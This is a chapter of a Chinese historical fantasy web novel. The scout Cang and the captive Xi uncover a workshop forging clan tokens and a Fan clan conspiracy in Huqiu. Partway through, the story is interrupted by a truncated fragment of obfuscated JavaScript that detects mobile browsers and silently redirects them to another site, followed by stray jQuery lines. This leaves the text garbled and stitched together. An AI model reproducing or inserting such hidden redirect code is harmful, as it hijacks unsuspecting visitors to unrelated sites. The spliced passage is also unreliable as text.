苍离开大母谷时，天色微明。


    他没有走余茶她们下山的那条路，而是取道向东，翻越五行山。谷主有令，此番南下瓠丘，须速去速归，不可耽搁。


    同行者不过五人——皆是青鸟一脉中精于潜行追踪的好手。另有析，被缚双手，跟在队伍最后。


    析一路沉默，苍也不与他说话。


    本来作为少鵹中年龄较小的析，一直深受苍的照顾，然而此次析带人攻谷，害了多少同族性命？虽说是被利用，可那些死去的青衣人，再也回不来了。


    行至第三日，已入晋国地界。山路渐平，人烟渐稠。苍命众人扮作行商，分散而行，约定在瓠丘城外一处废弃的土祠会合。


    析依旧被缚，却换了身寻常衣裳，远远跟在苍身后。


    这一日黄昏，苍独自站在一处山岗上，向南眺望。冬天的瓠丘，褪去了春夏的葱茏，天地间只剩几种颜色：灰褐的山、惨白的天、枯黄的草、黑色的岩石。暮色中，亳清河谷里散落着村舍和桑田，粟和黍早已收割完毕，地里只剩下茬子。偶尔能看到农人在地里捡拾柴火，为过冬做准备。远处山坡上，落叶林光秃秃的枝丫在风中颤抖，松柏倒是常青，但也被前几日的余雪压得低垂，再远处，隐隐可见一座城邑轮廓——那便是瓠丘，雪覆青松，云雾缭绕 ，三面环山，一面邻河，西去绛城，东去洛邑，山深林密，溪谷纵横。此处离绛都不过二百余里，却因群山阻隔，人迹罕至。晋国公室虽在此设邑，实则鞭长莫及，当地豪强把持一切。


    范氏余党选此处藏身，确是绝佳之地。


    ---


    入夜，苍按约定来到城外三里处的一座废弃土祠。


    祠不大，四面土墙塌了两面，院中杂草丛生，齐腰深。祠中供着一尊无名的石像，面目已模糊不清，不知是何方神灵。


    其他四人已在祠中等候。


    “苍，”一人上前低声道，“某等伺察于此三日，已得其情。”


    苍点头：“言之。”


    那人道：“瓠丘东十里，有谷曰‘铜谷’。中有铜穴数处，废久矣。然近者车马往来不绝，暮夜常见火光。某尝潜往窥之，见谷深有一冶所，昼夜鼓铸，莫知所铸何器。”


    苍心中一动。


    “尝入乎？”


    那人摇头：“守备甚固，卫者皆亡命死士，未敢轻进。”


    苍沉吟片刻，转头看向析。


    析站在祠门阴影中，看不清表情。


    “析，”苍道，“汝愿效死以赎乎？”


    析沉默良久，缓缓抬起头。


    “某……愿往。”


    ---


    第二日夜，析独自潜入铜谷。


    苍等人在谷外接应。若析有异动，格杀勿论。


    析沿着白日探查好的路线，从谷侧一处陡坡攀援而下。夜色浓稠，谷中只有几点火光，在深处闪烁。他贴着冰冷的岩壁，一点一点靠近。


    火光越来越亮，渐渐能看清工坊的轮廓。


    那是几间依山而建的木屋，屋前堆满了矿石、木炭、陶范。火光照亮了屋中的人影——十几个工匠正在忙碌，有的添炭，有的鼓风，有的浇铸。


    析屏住呼吸，藏在一块巨石后，仔细观察。


    突然他呼吸一凝，那屋墙上，挂着一排铜扣。


    和他手腕上那枚一模一样。


    但细看之下，那些铜扣上的符号各不相同——有的是青鸟的羽纹，有的是少鵹的雷纹，还有三足的……甚至有他自己那枚被篡改过的纹样。


    析的手微微发抖。


    他想起谷主说的话：“此文，为人所易。”


    原来如此，这些铜扣，全是伪造的。


    他们想做什么，仅因一个少鵹伯，就对冢人如此了解？


    正想着，屋中走出一个人。


    那人身着褐色深衣，须发灰白，面容清瘦，约五十余岁。他走到墙边，取下一枚铜扣，对着火光细看，满意地点了点头，又挂回去。


    “匠师，”一个工匠上前，“已铸成五十枚，犹续为之耶？”


    那人道：“铸！务求其多。俟大母谷内讧，此符信即吾属之通途。”


    析心头大震。


    他正要再靠近些，脚下忽然一滑，一块碎石滚落。


    “谁？”那褐衣人猛地回头。


    析暗道不好，转身便逃。


    身后传来呼喝声，箭矢破空而来，擦着他耳边飞过。他拼命向前跑，越过矿石堆，翻过木栏，一头扎进密林中。


    追兵紧追不舍。


    析咬着牙，一路狂奔。左肩忽然一疼——一支箭正中肩胛。他闷哼一声，却不敢停下，只拼命往谷口方向逃。


    终于，他看见了苍等人的火光。


    “亟去！”他厉声道，“事泄矣！”


    苍二话不说，命人架起析，迅速撤离。


    身后追兵渐远，终不可闻。


    ---


    逃出二十余里，众人才敢停下歇息。


    析靠在树上，脸色苍白，肩上血流不止。苍亲手替他包扎，手法熟练。


    35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17351006|197565||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    >“汝见何物？”苍问。


    析把工坊中见到的一五一十说了——满墙的铜扣、褐衣人的话以及一批“务求其多”的伪造信物。


    苍听完，沉默良久。


    “构冢人内讧，因乱取利。”他道，“酷谋！”


    析低下头，声音沙哑。


    “某……久见使于彼。以为得归宗族，得返根本，岂知皆妄也！”


    苍看着他，没有说话。


    片刻后，苍从怀中取出一封密信，递给析。


    “此简乃吾得于冶所之侧，子视之。”


    析接过，凑到火光下细看。信上只有寥寥数行，却字字惊心：


    “俟大母之图既得，瓠丘事济，群卿相攻，吾属可乘间而起，复我范氏旧疆。慎之！密之！”


    落款处，是一个“范”字。


    析的手在颤抖。


    “范氏……果范氏也……”


    苍将信收回，小心藏好。


    “谷主固知之矣。少鵹伯那枚伪铜符，实出于此。范氏遗孽潜处瓠丘有年，托齐以蔽，欲借冢人内讧以窃密，倾晋室之政。”


    他看向析，目光痛恨又怜悯。


    “子亦其弃子耳。今省矣乎？”


    析闭上眼，痛苦地点了点头。


    ---


    天亮后，苍遣一人先行回谷报信，自己则率余众向瓠丘城外退去。


    析扶着受伤的胳膊，望着头顶的枝叶缝隙，忽然开口：


    “苍。”


    苍回头看他。


    析道：“吾……敢乞君一事。”


    苍道：“言之。”


    析道：“异日若与范氏交兵，愿吾为先驱，首犯锋刃。吾命当偿矣。”


    苍沉默了一会儿，眉头一松，点了点头。


    “诺。”


    析闭上眼睛，嘴角浮起一丝苦笑。


    ---


    苍退到瓠丘城外一处隐蔽的山洞中，暂作休整。他写下一封密信，详细记述了铜谷工坊中的发现，以及那封范氏密信的内容。


    他将信交给一名最机敏的青衣人，神色凝重。


    “亟往绛，以此书呈太史墨。告之曰：‘范氏遗孽潜匿瓠丘，谋倾晋室。余茶莫姮归晋之道，恐遭不测，务必为之营护。”


    青衣人领命，藏好密信，消失在夜色中。


    苍望着他离去的方向，久久不语。


    析躺在山洞深处，昏睡不醒。


    洞外，山寒水瘦，风硬雪厚，顺着河谷灌进来的风，刮在脸上像刀割肉。